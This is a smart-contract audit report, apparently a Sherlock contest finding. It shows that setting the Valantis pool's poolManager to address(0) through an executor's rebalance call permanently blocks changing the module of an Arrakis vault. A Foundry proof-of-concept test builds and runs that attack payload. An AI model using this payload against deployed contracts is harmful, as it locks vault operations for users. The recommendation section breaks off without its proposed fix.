Tricky Alabaster Panda

medium

# When poolManager is set to address(0), a vault’s module can no longer be changed forever

## Summary

See detail. 

## Vulnerability Detail

In order to change the module of a `ArrakisMetaVault` to a new one, `setModule()` must be called on the vault. 

This calls the following internal function in the vault:

```solidity
function _withdrawManagerBalance(IArrakisLPModule module_) internal 
			returns (uint256 amount0, uint256 amount1)
{
	  (amount0, amount1) = module_.withdrawManagerBalance();
	
	  emit LogWithdrawManagerBalance(amount0, amount1);
}
```

The internal function tries to call `withdrawManagerBalance()` on the old module:

```solidity
function withdrawManagerBalance() 
        external
        whenNotPaused
        nonReentrant
        returns (uint256 amount0, uint256 amount1)
    {
        /* OTHER CODE REMOVED */ 

        pool.claimPoolManagerFees(0, 0);
				
				/* OTHER CODE REMOVED */ 
    }
```

The issue is that the `poolManager` could have been set to `address(0)` by calling `setPoolManager()` (see below). 

```solidity
function setPoolManager(address _manager) external override onlyPoolManager nonReentrant {
    poolManager = _manager;
    if (_manager == address(0)) {
        poolManagerFeeBips = 0;
        // It will be assumed pool is not going to contribute anything to protocol fees.
        _claimPoolManagerFees(0, 0, msg.sender);
        emit PoolManagerFeeSet(0);
    }

    emit PoolManagerSet(_manager);
}
```

After this, the pool’s `claimPoolManagerFees()`  function will always fail, and is not needed since the pool will no longer generate manager fees.

Hence, `_module.withdrawManagerBalance()` will revert, causing `setModule()` to revert.

`pool.setPoolManager` can be called via the `router.call_()` in `ValantisHOTModule` by an executor. 

## Impact

After the poolManager is set to `address(0)` , `ArrakisMetaVault.setModule()` still tries to claim the manager fees, leading to a revert. 

Hence, `setModule()`  will not be callable, so the vault’s module permanently cannot be changed.

## Proof of Concept

To run the PoC, add it to `arrakis-modular/test/integration`  and run `forge test --mt test_cant_setModule -vv`

<details><summary>Foundry test</summary>
    
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

// Foundry Imports
import {console} from "forge-std/console.sol";
import {Vm} from "forge-std/Vm.sol";
import {Test} from "forge-std/Test.sol";

// Arrakis Imports
import {IArrakisMetaVaultPublic} from
    "../../src/interfaces/IArrakisMetaVaultPublic.sol";
import {IArrakisMetaVault} from
    "../../src/interfaces/IArrakisMetaVault.sol";
import {IArrakisStandardManager} from
    "../../src/interfaces/IArrakisStandardManager.sol";

// Valantis Imports
import {ValantisModule} from
    "../../src/abstracts/ValantisHOTModule.sol";
import {IValantisHOTModule} from
    "../../src/interfaces/IValantisHOTModule.sol";
import {SovereignPool} from  "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol";
import {HOT} from "@valantis-hot/contracts/HOT.sol";

// General Imports
import {IOwnable} from "../../src/interfaces/IOwnable.sol";

// Base Test
import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol";

contract PoC_Cant_SetModule is ValantisIntegrationPublicTest {

    address attacker;
    address rec;
    
    function test_cant_setModule() public {
        rec = makeAddr("rec");
        attacker = makeAddr("attacker");

        address m = address(IArrakisMetaVault(vault).module());
        assertEq(pool.poolManager(), m);

        deal(address(token0), rec, init0); // 2000e6 (0: USDC)
        deal(address(token1), rec, init1); // 1e18   (1: WETH)

        //@e user mints from meta vault
        vm.startPrank(rec);
        token0.approve(m, init0);
        token1.approve(m, init1);

        IArrakisMetaVaultPublic(vault).mint(1e18, rec);
        vm.stopPrank();

        uint256 FEE_AMOUNT_0 = 1 wei;
        uint256 FEE_AMOUNT_1 = 1 wei;
        //@e Simulating 1 wei of fees in the `SovereignPool`
        vm.store(address(pool), bytes32(uint(5)), bytes32(FEE_AMOUNT_0));
        vm.store(address(pool), bytes32(uint(6)), bytes32(FEE_AMOUNT_1));

        // Sending the fee to the pool
        deal(address(token0), address(pool), token0.balanceOf(address(pool)) + FEE_AMOUNT_0);
        deal(address(token1), address(pool), token1.balanceOf(address(pool)) + FEE_AMOUNT_1);

        bool zeroForOne = false;
        uint256 amountIn = 1; // Using small values since we are not actually swapping anything
        uint256 expectedMinReturn = 1;

        bytes memory payload = abi.encodeWithSelector(
            SovereignPool.setPoolManager.selector, 
            address(0) // new poolmanager
        );

        bytes memory data = abi.encodeWithSelector(
            IValantisHOTModule.swap.selector,
            zeroForOne,
            expectedMinReturn,
            amountIn,
            address(pool),
            0, //note: this 0,0 lets us skip the checks in `HOT::_checkSpotPriceRange` during depositLiquidity
            0,
            payload
        );

        bytes[] memory datas = new bytes[](1);
        datas[0] = data;
        
        // Perform the attack
        vm.prank(executor);
        IArrakisStandardManager(manager).rebalance(vault, datas);

        assertEq(pool.poolManager(), address(0));

        // Assert that a new module can't be set anymore
        vm.startPrank(vault);
        vm.expectRevert();
        ValantisModule(m).withdrawManagerBalance();

    }
}
    
```
</details>
    

## Code Snippet

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ArrakisMetaVault.sol#L113

## Tool used

Manual Review

## Recommendation

In `ArrakisMetaVault.setModule()` , consider implementing the following change to ensure that function won’t revert, allowing a new module to be set.